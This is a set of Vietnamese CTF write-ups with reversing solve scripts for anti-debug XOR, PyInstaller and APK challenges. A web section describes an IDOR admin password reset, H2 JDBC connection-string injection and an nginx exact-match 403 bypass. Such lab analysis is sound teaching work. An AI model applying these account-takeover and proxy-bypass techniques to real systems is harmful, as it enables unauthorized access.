- Việc trả lời câu hỏi rất lâu, khiến việc debug bằng gdb lẫn remote lên server rất mất thời gian.
- Challenge sẽ hay hơn nếu tác giả cho
Dockerfile+question.json - Challenge tương đối tricky
Các thử thách Reversing
Các write-up dưới đây được viết bởi: Đỗ Hải Đăng (dangvn) - sinh viên ngành Global ICT K68.
Reez
Phân tích challenge
Ta được cung cấp 1 file thực thi .exe, nó yêu cầu chúng ta nhập flag và sau đó sẽ hiện ra kết quả (Yes hoặc No)
Tiến hành disassemble bằng IDA :
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // r8
__m128i si128; // xmm0
const char *v6; // rcx
_BYTE v8[32]; // [rsp+0h] [rbp-58h] BYREF
char Str[16]; // [rsp+20h] [rbp-38h] BYREF
__m128i v10; // [rsp+30h] [rbp-28h]
__int64 v11; // [rsp+40h] [rbp-18h]
__int64 v12; // [rsp+48h] [rbp-10h]
v10 = 0LL;
*(_OWORD *)Str = 0LL;
v11 = 0LL;
sub_1400010F0("Enter flag: ", argv, envp);
sub_140001170("%32s", Str);
if ( strlen(Str) != 32 )
{
puts("No");
if ( ((unsigned __int64)v8 ^ v12) == _security_cookie )
return 0;
LABEL_5:
__debugbreak();
}
si128 = _mm_load_si128((const __m128i *)&xmmword_14001E030);
*(__m128i *)Str = _mm_xor_si128(_mm_load_si128((const __m128i *)Str), si128);
v10 = _mm_xor_si128(si128, v10);
if ( _mm_movemask_epi8(
_mm_and_si128(
_mm_cmpeq_epi8(*(__m128i *)Str, (__m128i)xmmword_140029000),
_mm_cmpeq_epi8(v10, (__m128i)xmmword_140029010))) == 0xFFFF )
v6 = (const char *)&unk_140023E7C; // địa chỉ của "Yes"
else
v6 = "No";
sub_1400010F0(v6, v3, v4);
if ( ((unsigned __int64)v8 ^ v12) != _security_cookie )
goto LABEL_5;
return 0;
}
Qua phân tích, có thể thấy bài này sử dụng các lệnh SIMD (SSE) để xử lý. Để tìm được flag, bạn cần đảo ngược quá trình mã hóa XOR của nó.
Đoạn code này về cơ bản thực hiện các bước sau:
- Nhận 32 byte input từ người dùng.
- Chia input thành 2 phần, mỗi phần 16 byte.
- XOR mỗi phần với cùng một key 16 byte.
- So sánh 2 phần đã mã hóa với 2 giá trị đã được hardcode sẵn trong bộ nhớ.
- Nếu khớp, in "Yes"
keyở địa chỉ :xmmword_14001E030part1ở địa chỉ :xmmword_140029000part2ở địa chỉ :xmmword_140029010
Với các dữ kiện trên có thể xây dựng được solve script như sau:
from binascii import unhexlify, hexlify
# Dữ liệu từ file thực thi
key = unhexlify("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
encrypted1 = unhexlify("CBCCF5D9C3F5D9C3C2DEF5D3D8D8C5D9")
encrypted2 = unhexlify("8B8B8B8B8B8B8B8B8BCDCBC6CCF5CFC1")
def decrypt(data, key):
decrypted = bytearray()
for i in range(len(data)):
decrypted.append(data[i] ^ key[i])
return decrypted
# Giải mã
decrypted1 = decrypt(encrypted1, key)
decrypted2 = decrypt(encrypted2, key)
# Đảo ngược và ghép lại
part1 = decrypted1[::-1].decode()
part2 = decrypted2[::-1].decode()
flag = part1 + part2
print(f"Flag: {flag}")
# Output: Flag: sorry_this_is_fake_flag!!!!!!!!!
Có vẻ đây là fake flag vì khi nhập flag này chương trình báo No. Nhưng khi thử debug để xem cụ thể, chương trình lại báo Yes, vậy vấn đề ở đâu?

Ta xem kĩ thì thấy ở có một chỗ khác ngoài main xref đến địa chỉ chứa part1 và part2, thử đến đó thì ta thấy hàm sau :

Đoạn mã này được thực thi trước khi vào hàm main, nó kiểm tra xem chương trình có đang trong chế độ debug hay không, nếu có thì thanh ghi rax trả về 1, còn nếu không thì thanh ghi rax trả về 0.
Do vậy, ta thử đặt breakpoint trước lệnh cmp eax, 1 và đổi thanh ghi rax thành 0 để xem điều gì xảy ra:

Quả nhiên, giá trị ở 2 phần part1 và part2 đã thay đổi

Thay giá trị mới vào đoạn code trên , ta có được flag:
from binascii import unhexlify, hexlify
# Dữ liệu từ file thực thi
key = unhexlify("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
encrypted1 = unhexlify("939FCF9C9B9998C99DC8C9989ECFCB9A")
encrypted2 = unhexlify("9F9D9D9DCB989A9B999A98CF9DCFCFCF")
def decrypt(data, key):
decrypted = bytearray()
for i in range(len(data)):
decrypted.append(data[i] ^ key[i])
return decrypted
# Giải mã
decrypted1 = decrypt(encrypted1, key)
decrypted2 = decrypt(encrypted2, key)
# Đảo ngược và ghép lại
part1 = decrypted1[::-1].decode()
part2 = decrypted2[::-1].decode()
flag = part1 + part2
print(f"Flag: {flag}")
# Output: Flag: 0ae42cb7c2316e59eee7e203102a7775
Chatbot
Phân tích challenge
Ta được cung cấp 1 file ELF, thử chạy thì chương trình báo lỗi do không tìm thấy lib thích hợp
Dựa vào thông báo lỗi, có thể thấy challenge này có file thực thi launcher (native) của PyInstaller — khi chạy nó giải nén một bundle vào /tmp/_ME... rồi chạy Python nội bộ.
Thử dùng strings main | grep -i "pyinstall" ta được kết quả dưới, càng khẳng định giả thuyết này.

Do đó ta có thể extract nó bằng công cụ pyinstxtractor
Sau khi extract ta thấy 1 file có tên flag.enc, có thể là 1 file chứa flag đã bị encode.

Bước tiếp theo là decompile main.pyc để xem cụ thể chương trình đã làm gì. Chúng ta có thể dùng pylingual để decompile:
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: main.py
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import base64
import json
import time
import random
import sys
import os
from ctypes import CDLL, c_char_p, c_int, c_void_p
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
import ctypes
def get_resource_path(name):
if getattr(sys, 'frozen', False):
base = sys._MEIPASS
else: # inserted
base = os.path.dirname(__file__)
return os.path.join(base, name)
def load_native_lib(name):
return CDLL(get_resource_path(name))
if sys.platform == 'win32':
LIBNAME = 'libnative.dll'
else: # inserted
LIBNAME = 'libnative.so'
lib = None
check_integrity = None
decrypt_flag_file = None
free_mem = None
try:
lib = load_native_lib(LIBNAME)
check_integrity = lib.check_integrity
check_integrity.argtypes = [c_char_p]
check_integrity.restype = c_int
decrypt_flag_file = lib.decrypt_flag_file
decrypt_flag_file.argtypes = [c_char_p]
decrypt_flag_file.restype = c_void_p
free_mem = lib.free_mem
free_mem.argtypes = [c_void_p]
free_mem.restype = None
except Exception as e:
print('Warning: native lib not loaded:', e)
lib = None
check_integrity = None
decrypt_flag_file = None
free_mem = None
def run_integrity_or_exit():
if check_integrity:
ok = check_integrity(sys.executable.encode())
if not ok:
print('[!] Integrity failed or debugger detected. Exiting.')
sys.exit(1)
PUB_PEM = b'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsJftFGJC6RjAC54aMncA\nfjb2xXeRECiwHuz2wC6QynDd93/7XIrqTObeTpfBCSpOKRLhks6/nzZFTTsYdQCj\n4roXhWo5lFfH0OTL+164VoKnmUkQ9dppzpmV0Kpk5IQhEyuPYzJfFAlafcHdQvUo\nidkqcOPpR7hznJPEuRbPxJod34Bph/u9vePKcQQfe+/l/nn02nbfYWTuGtuEdpHq\nMkktl4WpB50/a5ZqYkW4z0zjFCY5LIPE7mpUNLrZnadBGIaLoVV2lZEBdLt6iLkV\nHXIr+xNA9ysE304T0JJ/DwM1OXb4yVrtawbFLBu9otOC+Gu0Set+8OjfQvJ+tlT/\nzQIDAQAB\n-----END PUBLIC KEY-----'
public_key = None
try:
pub_path = get_resource_path('public.pem')
if os.path.exists(pub_path):
with open(pub_path, 'rb') as f:
public_key = serialization.load_pem_public_key(f.read())
else: # inserted
public_key = serialization.load_pem_public_key(PUB_PEM)
except Exception as e:
print('Failed loading public key:', e)
public_key = None
def b64url_encode(b):
return base64.urlsafe_b64encode(b).rstrip(b'=').decode()
def b64url_decode(s):
s = s | ('=', 4, len(s) - 4) | 4
return base64.urlsafe_b64decode(s.encode())
def verify_token(token):
if not public_key:
return (False, 'no public key')
try:
payload_b64, sig_b64 = token.strip().split('.', 1)
payload = b64url_decode(payload_b64)
sig = b64url_decode(sig_b64)
public_key.verify(sig, payload, padding.PKCS1v15(), hashes.SHA256())
j = json.loads(payload.decode())
if j.get('role')!= 'VIP':
return (False, 'role != VIP')
if j.get('expiry', 0) < int(time.time()):
return (False, 'expired')
else: # inserted
return (True, j)
except Exception as e:
return (False, str(e))
def sample_token_nonvip():
payload = json.dumps({'user': 'guest', 'expiry': int(time.time()) + 3600, 'role': 'USER'}).encode()
return b64url_encode(payload)
def main():
run_integrity_or_exit()
print('=== Bot Chat === \n 1.chat\n 2.showtoken\n 3.upgrade \n 4.quit')
queries = 0
while True:
cmd = input('> ').strip().lower()
if cmd in ['quit', 'exit']:
return
if cmd == 'chat':
if queries < 3:
print(random.choice(['Hi', 'Demo AI', 'Hello!', 'How can I assist you?', 'I am a chatbot', 'What do you want?', 'Tell me more', 'Interesting', 'Go on...', 'SIUUUUUUU', 'I LOVE U', 'HACK TO LEARN NOT LEARN TO HACK']))
queries = queries | 1
else: # inserted
print('Free queries exhausted. Use \'upgrade\'')
else: # inserted
if cmd == 'showtoken':
print('Token current:' + sample_token_nonvip())
else: # inserted
if cmd == 'upgrade':
run_integrity_or_exit()
token = input('Paste token: ').strip()
ok, info = verify_token(token)
if ok:
if decrypt_flag_file is None:
print('Native library not available -> cannot decrypt')
else: # inserted
flag_path = get_resource_path('flag.enc').encode()
res_ptr = decrypt_flag_file(flag_path)
if not res_ptr:
print('Native failed to decrypt or error')
else: # inserted
flag_bytes = ctypes.string_at(res_ptr)
try:
flag = flag_bytes.decode(errors='ignore')
except:
flag = flag_bytes.decode('utf-8', errors='replace')
print('=== VIP VERIFIED ===')
print(flag)
free_mem(res_ptr)
return None
print('Token invalid:', info)
else: # inserted
print('Unknown. Use chat/showtoken/upgrade/quit')
if __name__ == '__main__':
main()
Phân tích mã nguồn
Ta thấy có hàm decrypt_flag_file trong libnative.so. Thử dùng IDA decompile libnative.so để xem hàm decrypt flag:

Dựa vào hàm đã được decompile trên, mình sẽ nhờ AI viết script python để decode flag. Dưới đây là solve script tham khảo (các bạn có thể tìm cách khác để chạy trực tiếp hàm decrypt flag từ thư viện đã cho mà không cần viết lại):
#!/usr/bin/env python3
"""
recover_and_decrypt.py
Usage:
python3 recover_and_decrypt.py /path/to/libnative.so /path/to/flag.enc
This script:
- attempts to recover key using the logic from recover_key (result[0]=0xC4; result[i]=OBF_KEY[i] ^ MASK[i&3])
- tries multiple strategies to read OBF_KEY and MASK from the shared object
- decrypts flag.enc (IV = first 16 bytes, rest is ciphertext) using AES-128-CBC or AES-256-CBC depending on key length
"""
import sys, os, ctypes, subprocess, struct
from ctypes import c_ubyte, c_void_p
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
def die(msg):
print("[!] " + msg)
sys.exit(1)
def load_lib(path):
try:
return ctypes.CDLL(path, mode=ctypes.RTLD_GLOBAL)
except Exception as e:
die(f"Failed to load library {path}: {e}")
def try_read_symbols_via_ctypes(lib):
# Try to read arrays by name using ctypes .in_dll
# OBF_KEY expected at least 32 bytes, MASK expected 4 bytes
try:
OBF_KEY = (c_ubyte * 32).in_dll(lib, "OBF_KEY")
MASK = (c_ubyte * 4).in_dll(lib, "MASK")
return bytes(OBF_KEY[:]), bytes(MASK[:])
except Exception:
return None, None
def find_symbol_address_readelf(so_path, symname):
# Use readelf -s to find symbol address (if present in dynamic symbol table)
try:
out = subprocess.check_output(["readelf", "-sW", so_path], text=True, stderr=subprocess.DEVNULL)
except Exception:
return None
for line in out.splitlines():
# lines like: 123: 0000000000000abc 32 OBJECT GLOBAL DEFAULT 16 OBF_KEY
parts = line.split()
if len(parts) >= 8 and parts[-1] == symname:
# address at parts[1]
addr_str = parts[1]
try:
return int(addr_str, 16)
except:
return None
return None
def read_bytes_from_file_at_vaddr(so_path, vaddr, size):
# Read raw bytes from file at given virtual address requires parsing ELF program headers to map vaddr->file offset.
# We'll use readelf -l to get PT_LOAD segments and compute offset.
try:
ph = subprocess.check_output(["readelf", "-lW", so_path], text=True)
except Exception as e:
die("readelf not available or failed: " + str(e))
segs = []
for line in ph.splitlines():
line = line.strip()
# find lines contain 'LOAD' segments info like:
# Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align
# LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x000120 0x000120 R E 0x200000
if line.startswith("LOAD"):
parts = line.split()
# attempt to parse, some lines wrap; safer to parse blocks: use readelf program headers parsing previously
# fallback simple heuristic: use objdump -s to dump section contents and search for symbol bytes by name - not reliable
die("Symbol-to-file-offset mapping not implemented. Falling back to 'strings' method.")
return None
def try_find_arrays_via_nm(so_path):
# Try to use nm -D (dynamic symbols) or nm (if available) to see symbol table
try:
out = subprocess.check_output(["nm", "-D", so_path], text=True, stderr=subprocess.DEVNULL)
except Exception:
try:
out = subprocess.check_output(["nm", so_path], text=True, stderr=subprocess.DEVNULL)
except Exception:
return None, None
obf_addr = None
mask_addr = None
for line in out.splitlines():
parts = line.strip().split()
if len(parts) >= 3:
addr, symtype, name = parts[0], parts[1], parts[2]
if name == "OBF_KEY":
try:
obf_addr = int(addr, 16)
except:
obf_addr = None
if name == "MASK":
try:
mask_addr = int(addr, 16)
except:
mask_addr = None
return obf_addr, mask_addr
def construct_key_from_obf_mask(obf_bytes, mask_bytes):
if len(obf_bytes) < 32 or len(mask_bytes) < 4:
die("OBF_KEY or MASK too short")
key = bytearray(32)
# result[0] = -60 (signed) -> unsigned 0xC4
key[0] = (256 - 60) & 0xFF # 0xC4
for i in range(1, 32):
key[i] = obf_bytes[i] ^ mask_bytes[i & 3]
return bytes(key)
def decrypt_flag(flag_path, key):
data = open(flag_path, "rb").read()
if len(data) <= 16:
die("flag.enc too short")
iv = data[:16]
ct = data[16:]
if len(key) >= 32:
k = key[:32]
print("[*] Using AES-256-CBC")
else:
k = key[:16]
print("[*] Using AES-128-CBC")
cipher = Cipher(algorithms.AES(k), modes.CBC(iv))
dec = cipher.decryptor()
pt_padded = dec.update(ct) + dec.finalize()
# unpad PKCS7
unpad = padding.PKCS7(128).unpadder()
try:
pt = unpad.update(pt_padded) + unpad.finalize()
except Exception as e:
print("[!] PKCS7 unpad failed:", e)
pt = pt_padded
return pt
def main():
if len(sys.argv) < 3:
print("Usage: recover_and_decrypt.py /path/to/libnative.so /path/to/flag.enc")
sys.exit(1)
so = sys.argv[1]
flag = sys.argv[2]
if not os.path.exists(so):
die("lib not found: " + so)
if not os.path.exists(flag):
die("flag.enc not found: " + flag)
print("[*] Loading library and trying to read OBF_KEY and MASK via ctypes...")
lib = load_lib(so)
obf, mask = try_read_symbols_via_ctypes(lib)
if obf and mask:
print("[+] Read OBF_KEY and MASK via ctypes")
key = construct_key_from_obf_mask(obf, mask)
pt = decrypt_flag(flag, key)
print("\n=== PLAINTEXT ===\n")
try:
print(pt.decode('utf-8'))
except:
print(pt)
print("\n=== HEX ===\n", pt.hex())
return
print("[*] ctypes read failed. Trying nm/readelf heuristics to find symbols (if not stripped)...")
obf_addr, mask_addr = try_find_arrays_via_nm(so)
if obf_addr and mask_addr:
print("[+] Found addresses via nm:", hex(obf_addr), hex(mask_addr))
print("[!] NOTE: reading from addresses in file requires mapping vaddr -> file offset. If you want, run the next command:")
print(" readelf -sW", so, "| egrep 'OBF_KEY|MASK'")
die("Symbol addresses discovered; please run readelf -sW and provide the symbol addresses output if you want me to continue.")
else:
print("[!] Could not find dynamic symbols OBF_KEY/MASK. The library may be stripped.")
print("Two options:")
print(" 1) If you can provide the bytes of OBF_KEY (32 bytes) and MASK (4 bytes),")
print(" I can compute the key and decrypt immediately.")
print(" 2) I can try to search the .so for likely arrays: run")
print(" strings -a -t x", so, "| egrep -i 'OBF|MASK|flag|VIP' ;")
print(" hexdump -C", so, "| head -n 200")
print("Please paste the outputs here and I'll locate OBF_KEY/MASK offsets for you.")
sys.exit(2)
if __name__ == '__main__':
main()
Flag: CSCV2025{reversed_vip*_chatbot_bypassed}
Reverse Master
Phân tích mã nguồn
Ta được cung cấp 1 file .apk, trước tiên ta thử dùng jadx-gui để decompile :

Sau khi decompile, có được hàm MainActivity (đây là hàm được khởi chạy đầu tiên khi mở một ứng dụng Android):
public class FlagLogicSummary {
// xor key - for later flag decryption
public final byte[] xorKey = {66, 51, 122, 33, 86};
static {
// load a native lib, which has many flag-related functions
System.loadLibrary("native-lib");
}
// function to check 2nd half of the flag, source in nativelib binary
public final native boolean checkSecondHalf(String str);
// validate flag when onclick event is caught
public void validateFlag(String userInput) {
if (!userInput.startsWith("CSCV2025{") || !userInput.endsWith("}")) {
return;
}
String flagContent = userInput.substring(9, userInput.length() - 1);
// --- first half validation starts ---
byte[] encryptedFirstHalf = {122, 86, 27, 22, 53, 35, 80, 77, 24, 98, 122, 7, 72, 21, 98, 114};
byte[] decryptedBytes = new byte[16];
// decrypt hardcoded data
for (int i = 0; i < 16; i++) {
decryptedBytes[i] = (byte) (encryptedFirstHalf[i] ^ xorKey[i % xorKey.length]);
}
String correctFirstHalf = new String(decryptedBytes);
String inputFirstHalf = flagContent.substring(0, 16);
// compare hardcoded data vs user input
if (!inputFirstHalf.equals(correctFirstHalf)) {
return;
}
// --- 2nd half validation starts ---
String inputSecondHalf = flagContent.substring(16);
boolean isSecondHalfCorrect = checkSecondHalf(inputSecondHalf);
if (isSecondHalfCorrect) {
// flag is correct
}
}
}
Solve script first half
Ta có thể dễ dàng tìm được part1 của flag qua đoạn code python XOR đơn giản sau:
encrypted_half = [122, 86, 27, 22, 53, 35, 80, 77, 24, 98, 122, 7, 72, 21, 98, 114]
key = [66, 51, 122, 33, 86]
decrypted_half = ""
for i in range(len(encrypted_half)):
decrypted_byte = encrypted_half[i] ^ key[i % len(key)]
decrypted_half += chr(decrypted_byte)
print(f"Nửa đầu của flag là: {decrypted_half}")
#output : 8ea7cac794842440
Solve script second half
Để tìm part2 của flag, ta cần phải xem được hàm checkSecondHalf từ thư viện libnative-lib.so. Trước tiên ta extract file apk ra , có thể dùng apktool với command sau trên window java -jar .\apktool.jar d -f reverse-master.apk. Sau đó ta tìm được thu viện libnative-lib.so tại reverse-master\lib\arm64-v8a:

Sau đó ta dùng IDA để decompile nó và tìm hàm tương ứng:

bool __fastcall Java_com_ctf_challenge_MainActivity_checkSecondHalf(__int64 a1, __int64 a2, __int64 a3)
{
const char *v6; // x0
const char *v7; // x21
unsigned int v8; // w22
__int64 v9; // x0
int v10; // w22
__int64 v11; // x0
int v12; // [xsp+8h] [xbp-8h]
int v13; // [xsp+8h] [xbp-8h]
int v14; // [xsp+8h] [xbp-8h]
int v15; // [xsp+8h] [xbp-8h]
int v16; // [xsp+8h] [xbp-8h]
int v17; // [xsp+Ch] [xbp-4h]
int v18; // [xsp+Ch] [xbp-4h]
int v19; // [xsp+Ch] [xbp-4h]
int v20; // [xsp+Ch] [xbp-4h]
int v21; // [xsp+Ch] [xbp-4h]
if ( (sub_19CA0() & 1) != 0 )
{
__android_log_print(4, "Lib-Native", "Debugger detected in native code!");
return 0LL;
}
else
{
v6 = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a3, 0LL);
if ( v6 )
{
v7 = v6;
v8 = strlen(v6);
v17 = rand() % 50 + 1;
v12 = rand() % 50 + 1;
if ( v17 * v17 + v12 * v12 == (v12 + v17) * (v12 + v17) - 2 * v17 * v12 + 1 )
{
v9 = sub_1AC60(v7);
sub_1ACCC(v9);
}
v18 = rand() % 100;
v13 = rand() % 100;
if ( (v13 + v18) * (v13 + v18) >= v18 * v18 + v13 * v13 )
{
v10 = sub_1AD68(v7, v8);
v19 = rand() % 50 + 1;
v14 = rand() % 50 + 1;
if ( v19 * v19 + v14 * v14 == (v14 + v19) * (v14 + v19) - 2 * v19 * v14 + 1 )
{
v11 = sub_1B5E8(v7);
sub_1B658(v11);
}
}
else
{
v10 = 0;
}
(*(void (__fastcall **)(__int64, __int64, const char *))(*(_QWORD *)a1 + 1360LL))(a1, a3, v7);
if ( v10 && (v20 = rand() % 100, v15 = rand() % 100, (v15 + v20) * (v15 + v20) >= v20 * v20 + v15 * v15) )
{
return 1LL;
}
else
{
v21 = rand() % 50 + 1;
v16 = rand() % 50 + 1;
return v21 * v21 + v16 * v16 == (v16 + v21) * (v16 + v21) - 2 * v21 * v16 + 1;
}
}
else
{
rand();
rand();
return 0LL;
}
}
}
Hàm check part2 của flag khá là phức tạp so với part1. Câu này mình sử dụng ChatGPT để generate ra solve script để tìm ra part 2:
# Mô phỏng đúng phép biến đổi trong `sub_1AD68` và in ra key 16-byte (ASCII)
def to_u8(x): return x & 0xFF
# Các giá trị hằng như trong pseudo code
v7 = 99 # 0x63
v8 = 125 # 0x7D
v9 = (-30) & 0xFF # as unsigned byte -> 226 (0xE2)
v10 = 20
v11 = (-72) & 0xFF # -> 184 (0xB8)
# v5: 5 bytes, first 4 bytes = -1206590851 as little-endian dword, v5[4] = 99
dword = (-1206590851) & 0xFFFFFFFF
v5 = [ (dword >> (8*i)) & 0xFF for i in range(4) ] + [99]
v21 = v5[0]
v20 = v5[1]
v22 = v5[2]
v23 = v5[3]
v24 = v5[4]
# Tạo v17 (8 bytes) theo pseudo code
v17 = [0]*8
v17[0] = to_u8(v8 ^ 4)
v17[1] = to_u8(v9 | 5)
v17[2] = to_u8(v10 ^ 6)
v17[3] = to_u8(v11 | 7)
v17[4] = to_u8(v7 | 8)
v17[5] = to_u8(v8 ^ 9)
v17[6] = to_u8(v9 ^ 0xA)
v17[7] = to_u8(v10 | 0xB)
v15 = v9
v16 = v10 | 1
v18 = to_u8((v7 ^ 0x74) - 19)
v19 = to_u8(v7 ^ 0xD)
# Khởi tạo v3 (16 bytes) và gán các ô theo pseudo code
v3 = [0]*16
v3[1] = to_u8(((v15 ^ 0x6C) - 10) ^ v20)
v3[0] = to_u8(((v8 ^ 0x2F) - 7) ^ v21)
v3[2] = to_u8(((v16 ^ 0x95) - 13) ^ v22 ^ 2)
v3[13] = to_u8(((v11 ^ 8) - 46) ^ v23 ^ 0xD)
v3[4] = to_u8(v18 ^ v24 ^ 4)
v3[15] = to_u8(((v8 ^ 7) - 52) ^ v21 ^ 0xF)
v3[3] = to_u8((((v11 | 2) ^ 0x21) - 16) ^ v23)
v3[14] = to_u8(((v19 ^ 0x57) - 49) ^ v24 ^ 0xE)
# Tạo v6 (16 bytes) như trong pseudo code (chỉ set các chỉ số được dùng)
v6 = [0]*16
v6[0] = v21; v6[1] = v20; v6[2] = v22; v6[3] = v23; v6[4] = v24
v6[8] = v21; v6[9] = v20; v6[10] = v22; v6[11] = v23; v6[12] = v24
# Bây giờ tính v25 = veor( veor( vadd( veor(v17, const1), const2), const3), shuffle(v6, idxs) )
# Các hằng từ pseudo code (8-byte little-endian)
def bytes_le(val):
return [(val >> (8*i)) & 0xFF for i in range(8)]
const1 = bytes_le(0x53E81E454D2E4748)
const2 = bytes_le(0xD5D8DBDEE1E4E7EA)
const3 = bytes_le(0x0C0B0A0908070605) # nguyên gốc trong pseudo thiếu 1 chữ số; dùng 0x0C... cho đầy đủ 8 bytes
# Áp dụng veor, vadd, veor (mỗi phần toán theo byte, wrap-around 8-bit)
veor1 = [ to_u8(v17[i] ^ const1[i]) for i in range(8) ]
vadd = [ to_u8((veor1[i] + const2[i])) for i in range(8) ]
veor2 = [ to_u8(vadd[i] ^ const3[i]) for i in range(8) ]
# Mô phỏng vqtbl1_s8(v6, idxs) với chỉ số immediate 0x201000403020100 (lấy 8 bytes little-endian)
idxs_val = 0x0201000403020100 # giá trị little-endian tương ứng với immediate trong pseudo
idxs = [ (idxs_val >> (8*i)) & 0xFF for i in range(8) ]
def vqtbl1_s8(table16, idx8):
# Nếu idx >= 16 => result byte = 0, theo behavior của vqtbl (out-of-range -> zero)
res = []
for idx in idx8:
res.append(table16[idx] if idx < 16 else 0)
return res
tbl_res = vqtbl1_s8(v6, idxs)
# veor final
v25_bytes = [ to_u8(veor2[i] ^ tbl_res[i]) for i in range(8) ]
# BYTE3(v25) -- BYTE3 little-endian is the 4th byte (index 3)
v30 = v25_bytes[3]
# store v25 into v3[5..12] as 8 bytes little-endian starting at offset 5
for i in range(8):
if 5 + i < 16:
v3[5 + i] = v25_bytes[i]
v29 = v30
# kết quả: v3[0..15] và v29
key_bytes = bytes(v3)
print("v3 bytes:", key_bytes)
try:
print("v3 as ascii:", key_bytes.decode('ascii'))
except UnicodeDecodeError:
print("v3 ascii-safe:", ''.join(f"\\x{b:02x}" for b in key_bytes))
print("v29 (byte 8): 0x%02x" % v29)
# If the expected input is 16 ASCII chars, assemble full 16-byte expected input a1:
# In pseudo, comparison used v29 ^ a1[8], meaning a1[8] matches v29.
# So expected input (16 bytes) is v3[0..7] + [v29] + v3[9..15]
expected = bytearray(16)
for i in range(16):
if i < 8:
expected[i] = v3[i]
elif i == 8:
expected[i] = v29
else:
expected[i] = v3[i]
print("Expected 16-byte input (hex):", expected.hex())
try:
print("Expected ASCII:", expected.decode('ascii'))
except:
print("Expected ASCII-safe:", ''.join(f"\\x{b:02x}" for b in expected))
#output : 6fe3ccc3cf2197e4
Kết hợp cả 2 phần lại ta có flag là : CSCV2025{8ea7cac7948424406fe3ccc3cf2197e4}
Các thử thách Web
Leak Force
Challenge cung cấp một ứng dụng web cơ bản với các tính năng: đăng nhập, đăng ký, thay đổi thông tin cá nhân, đổi mật khẩu.

Phân tích chức năng
Tiến hành đăng ký một tài khoản hợp lệ, sau đó truy cập vào giao diện chính (trong suốt quá trình này mình cho traffic đi qua Burp). Lúc này mình sẽ có các API call chính như sau:
-
/api/register: nhận vào thông tin người dùng, trả về 1 json chứa trạng thái, token và id
-
/api/login: nhận vào username, password của người dùng; cấu trúc trả về tương tự API đăng ký, sau đó sẽ gán token vào local storage
-
/api/token-login: dựa vào token lấy được từ local storage, gọi đến API này để kiểm tra tính xác thực của token, nếu đúng thì sẽ load vào giao diện ứng dụng
-
/api/profile: API này cho phép lấy thông tin của một người dùng dựa trên ID, mặc định khi load vào ứng dụng thì API này sẽ được gọi với ID của người dùng hiện tại
-
/api/reset-password: API nhận vào userID và mật khẩu mới, sau đó tiến hành đổi mật khẩu
Phân tích lỗ hổng
Với các API đã được phân tích, có thể thấy một số attack vector đáng chú ý:
-
Lấy thông tin người dùng dựa trên ID -> có thể thay ID này bằng số khác. Trong trường hợp này mình thay về 0 và 1 thì phát hiện 1 trả về ID của admin:

-
Đổi mật khẩu người dùng, tuy nhiên lại lấy đầu vào là ID người dùng: với thiết kế này thì mình có thể tiến hành thử đổi pass của 1 người dùng bất kì với ID đã biết (ở đây là ID 1 tương đương với người dùng admin). Tiến hành đổi mật khẩu thì phát hiện có thể đổi thành công:

Khai thác lỗ hổng
Kết hợp 2 attack vectors này là chúng ta có thể thực hiện chiếm quyền điều khiển tài khoản admin, từ đó login vào và lấy flag:

PortfolioS
Write-up được viết bởi: Phạm Hiền Mai (pmai) - sinh viên ngành Global ICT K68.
Phân tích challenge
Challenge này cung cấp một ứng dụng web Java Spring Boot đặt sau reverse proxy Nginx cho phép người dùng đăng ký, đăng nhập tài khoản, tạo và lưu trữ portfolio. Ứng dụng được đặt sau một reverse proxy Nginx, mục tiêu là RCE để đọc nội dung của file flag đặt ở thư mục gốc của server.
Ứng dụng có các chức năng chính được định nghĩa trong các Controller:
-
Chức năng xác thực: Người dùng có thể đăng ký và đăng nhập, khi đăng nhập thành công sẽ được cấp
JSESSIONIDcho phiên hợp lệ đó. FileSecurityConfig.javacho thấy các endpoint/login,/registerđược công khai, trong khi tất cả các endpoint khác đều yêu cầu xác thực.
-
Chức năng Portfolio (
DashboardController.java): Sau khi đăng nhập, người dùng có thể lưu portfolio dưới dạng văn bản và tải về dưới dạng file Markdown. Chức năng này có cơ chế chống Path Traversal -
Chức năng nội bộ (
InternalController.java) Đây là một chức năng ẩn cho phép kiểm tra kết nối tới một cơ sở dữ liệu H2 bằng username/password, đọc fileInternalController.javathấy có 2 điểm không an toàn:
String fullUrl = baseUrl + "USER=" + username + ";PASSWORD=" + password + ";";
Connection conn = DriverManager.getConnection(fullUrl);
Đoạn code này ghép nối trực tiếp chuỗi username và password (do người dùng kiểm soát) vào một chuỗi có chức năng nhạy cảm về bảo mật (chuỗi kết nối CSDL). Đây có thể là lỗ hổng liên quan đến H2 JDBC Injection -> thử truy cập đến endpoint /internal/testConnection thì bị Nginx chặn và web trả về lỗi 403.
Ngoài ra còn đoạn code xử lý lỗi:
catch (Exception e) {
String var10002 = e.getMessage();
model.addAttribute("error", "Connection failed: " + var10002 + " | URL: " + fullUrl);
}
Khi có lỗi xảy ra, thay vì hiển thị một thông báo chung chung, ứng dụng lại lấy toàn bộ thông điệp lỗi gốc từ CSDL (e.getMessage()) và hiển thị trực tiếp cho người dùng -> có thể lợi dụng điểm này để leak thông tin của CSDL.
- File
nginx.confĐể truy cập vào endpoint/internal/testConnectionthì ta cần bypass lỗi 403, đọc tiếp filenginx.conf:
events {}
http {
server {
listen 80;
location = /internal/testConnection {
return 403;
}
location / {
proxy_pass http://app:8989;
proxy_set_header Host $host:8989;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
Nginx chặn truy cập trực tiếp đến /internal/testConnection (HTTP 403) và forward các request hợp lệ khác đến backend http://app:8989. Vấn đề ở chỗ code dùng exact match để lọc ra endpoint /internal/testConnection nên nếu ta thêm các ký tự vào URL nhưng không làm thay đổi ý nghĩa của nó thì có thể bypass nginx.
- File
docker-compose.yml
version: '3.8'
services:
app:
build:
context: .
